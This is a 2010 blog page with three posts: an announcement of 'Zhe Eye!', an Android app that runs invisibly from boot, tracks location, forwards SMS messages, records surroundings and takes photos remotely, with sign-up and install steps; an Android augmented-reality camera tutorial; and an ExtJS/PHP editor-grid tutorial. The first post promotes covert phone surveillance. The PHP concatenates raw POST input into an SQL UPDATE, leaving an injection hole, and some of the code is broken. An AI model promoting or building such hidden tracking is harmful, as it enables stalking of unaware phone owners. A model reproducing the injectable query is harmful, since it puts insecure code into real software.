zaterdag 13 maart 2010

Android Phone Tracking

Ladies and gentlemen,

today is the day i introduce my latest Android project "Zhe Eye!".

The application has a BroadcastReceiver which starts the GPS tracking service after boot-up. The service is totally invisible and runs in the background. The BroadcastReceiver listens also for SMS events and sen them to the server.

Features;

  1. Listen the environment from your PC
  2. Take picture (>1.5)
  3. Read SMS's
Web interface features;

  1. OpenStreetMap api layer
  2. Time filter for all tasks and activities
  3. Date Filter
  4. Hide/Show layers
So you can basically view every action based on Location and Time (Gods View). The application is still in beta. You can register and use for free. Please follow the installation instructions;

  • Go to the http://freelancephp.be/user/register/ and choose your username and password
  • Go to the http://freelancephp.be/member/index/index/ and login
  • Click on "Add target" and register your phone (You will need IMEI number for this. go to the settings>about phone>status for IMEI number)
  • Click on "Download APK" and, download the APK, install on your phone and restart your phone. It may take a while till you get the GPS fixed.
  • Once the connection is established between de server and your Phone, map will be visible and you can see your location, listen your phone and take pictures.
I hope you like this application.

zondag 7 maart 2010

Android and Augmented Reality I

Hi everybody,

i think in the last decade, one of the most exciting trend in Mobile development world was augmented reality. Today i will try to explain how augmented reality works and how to write your very own augmented reality engine. This article will be in three parts:

  1. The first chapter will cover creating surfaceView, placing the camera preview on the surface and adding one more transparant view on the surface.
  2. Explanation about getting latitude, longitude, azimuth and pitch and some more information about sensors.
  3. This chapter covers openGL, calculating the x, y and z indexes of a shape and translate it's 3d position on the camera view.
We will use the following permissions;

android.permission.CAMERA
android.permission.ACCESS_GPS
android.permission.ACCESS_ASSISTED_GPS
android.permission.ACCESS_LOCATION
android.permission.ACCESS_COARSE_LOCATION
android.permission.ACCESS_FINE_LOCATION

But just the camera permission is needed for the first chapter. So there are three important components in our activity. First, surfaceView, second surfaceViewListener and third the camera. We don't have to specify a callback for camera since we never will take a picture. We are going to create a surface, listen it and once the surface is created set the surface as preview display of the camera.

So this is how our activiy will look like;

public class AugmentedReality extends Activity{
private View mainView;
private View appView;
private MyCameraView cv;


@Override
public void onCreate(Bundle savedInstanceState) {
//as eveybody says, this will run first :)
super.onCreate(savedInstanceState);
//the main container for the application. We will overlay two views here
//this element should be defined in the XML file
mainView = findViewById(R.id.main);
//create another transparant view
appView = new View(this.getApplicationContext());
//no background color and resource so the holder of the view will be totally invisible
appView.setBackgroundcolor(0);
appView.setBackgroundResource(0);
//create a local variable for the camerra view
//we will define this class in the activity
cv = new MyCameraView(this.getApplicationContext());
//add it to the main view
mainView.addView(cv);
//now we add the second view so it will take the highest z index automatically
mainView.addView(appView);
}
//now we are outside of onCreate.
//lets define the CameraView
public class MyCameraView extends SurfaceView
{
//lets build the constructor
public CustomCameraView(Context ctx)
{
super(ctx);
//we get the holder
previewHolder = this.getHolder();
//set the type
previewHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
//and add the listener which is defined below
previewHolder.addCallback(surfaceHolderListener);
}
}
//now we are going to define the listener
//and trigger the camera preview once the surface is visually created
SurfaceHolder.Callback surfaceHolderListener = new SurfaceHolder.Callback() {
private Camera camera;
public void surfaceCreated(SurfaceHolder holder) {
//so the surface is created, we can open the camera
camera = Camera.open();
Parameters params = camera.getParameters();
//we set the format of the preview
//so it will be encoded
//if you get colored horizontal lines instead of preview
//this is the reason
params.setPreviewFormat(PixelFormat.JPEG);
//we don't have to define the format of the taken picture
//since we are not going to take a picture
//params.setPictureFormat(PixelFormat.JPEG);

//finally setthe new parameters
camera.setParameters(params);
try {
//set the surface where the preview should be displayed
camera.setPreviewDisplay(holder);
camera.startPreview();
} catch (IOException e1) {
e1.printStackTrace();
}
}
public void surfaceChanged(SurfaceHolder holder, int format, int width, int height)
{
//you can add your own function here
//this event is fired when any value of the surface is changed
//for example changing to landscape mode automatically
}

public void surfaceDestroyed(SurfaceHolder arg0)
{
//ok when the application is shutdown, we release the camera
//so other applications can use it too
camera.stopPreview();
camera.release();
}
};
}
}

This code will give us the preview of the camera on a surface. In the next chapter we will dive into sensors and retrieve the needed data like latitude, longitude, azimuth and pitch. Thanks for reading.

donderdag 4 maart 2010

ExtJS editor grid server side example

Hi,

this is my first post and i want to show some examples about usage of ExtJS grid together with a server-side language like PHP or Ruby.

Editor grid contains three main components.

  1. Data store: this store loads the records being inserted in ExtJS grid. This component is an instance of Ext.data.Store (You can use Grouppingstore as well)
  2. Editor Grid: this component shows the records in a grid view. This is an instance of Ext.grid.EditorGridPanel. the difference between a regular grid and an editor grid is, you can specify the xtype of the editor for each column. This editor will fire afteredit event which is only available for an EditorGridPanel instance. There are also few other EditorGridPanel specific events like beforeedit, onchange, etc.
  3. Server-side class, function, file whatever you like. My example will be a PHP example but the main logic is same for the other languages. First function will receive the post data, change the value in database according to the key that is sent. and return a JSON object as response which contains the parameter success {"success":true} or false and second function will send the data so store can reload itself and update the involved grid.
first create the table employers (well i am not going to write the query here):
employers:
id: primary key
name: string
surname: string
address: string

Our class will contain two functions

class EditorGridListener{
/*i assume you have a kind of db class that can handle the queries so this is just a pseudo class, this methods should b defined and included before use. So don't ask me why you get method doesn't exist error.*/
private $yourDbClass;

//we simply create the instance with the $_POST array as parameter
public function __construct($post){
//define the db handler
$this->yourDbClass = new YourDatabaseClass;
//run the function requested and print the result
switch($post["task"]){
case "load":
//if $_POST["task"] equals load run this function
print $this->loadGrid();
break;
case "edit":
//if $_POST["edit"] equals load run this function
print $this->editValue($post["id"], $post["key"], $post["value"]);
break;
}
}
private function loadGrid(){
//we simply take all records and send them to the extjs grid as json object
$records = $this->yourDbClass->toArray("employers");
return json_encode(Array("success"=>true, "root"=>$records));
}
private function editValue($id, $key, $value){
//we update the table and change the $key's value to $value for the row $id
$success = $this->yourDbClass->exec("UPDATE employers SET " . $key . "='" . $value . "' WHERE id=" . $id);
return json_encode(Array("success"=>$success));
}
}

$lstnr = new EditorGridListener($_POST);

Now second part, creating the store:

var employerStore = new Ext.data.Store({
proxy: new Ext.data.HttpProxy({
//this is where you send the variables and get a response
url: "your-server-side-code.php"
}),
baseParams:{
/*this parameters will be sent with the request. You can add more values like date: new Date(); to load records belong to specific date*/
task: "load"
},
//reader will decode the response.
reader: new Ext.data.JsonReader({
//we put the records in "root" value of the response json which is an array
root: "root"
}, [{
//you have to map at least one column
name: "id",
mapping: "id"
}, "name", "surname", "address"]
)
});

Now we are creating the editor grid:


var = new Ext.grid.EditorGridPanel({
//we bind employerStore with this grid. so if you reload the store, the grid will be updated too
//this is one of the features of ExtJS i like
ds: employerStore,
//some layout values
autoScroll: true,
autoWidth: true,
height: 290,
//it will start editing after 1 click, default is 2
clicksToEdit: 1,
margins: "0 5 5 5",
//we define here the columns retrieved from the data store
columns:[
/*as you see, each column has it's own editor value so you can use any form element as editor including checkbox. once the user clicks on single cell, it will turn into what is described in the editor property of column with it's value*/
{header: "Name", dataIndex: "name", width: 0.2, editor: new Ext.form.TextField({})},
{header: "Name", dataIndex: "surname", width: 0.2, editor: new Ext.form.TextField({})},
{header: "Name", dataIndex: "address", width: 0.6, editor: new Ext.form.TextField({})}
],
listeners: {
//this will fire when the editing is done and the cell lost the focus
afteredit: function(event){
//event is an object and contains all values we need
Ext.Ajax.request({
//your serverside script. refer the php code above
url: "your-server-side-code.php",
//they are other parameters to call editValue function
params: {
task: "edit",
key: event.field,
value: event.value,
id: event.record.data.id
}
/*every ajax request has two callbacks as usual, success callback and error callback. if the response contains a JSON object and the key success equals to true, this function will be called, and if the value is false, failure function will be called*/
success: function(){
//just reload the store to sync with the actual mysql table
event.grid.store.reload();
},
failure: function(){
/*show an error if anything goes wrong.*/
Ext.Msg.alert("Error", "Something went wrong");
}
});
}
}
});

I hope someone can use this information to build powerfull desktop-like web applications with ExtJS. See you soon.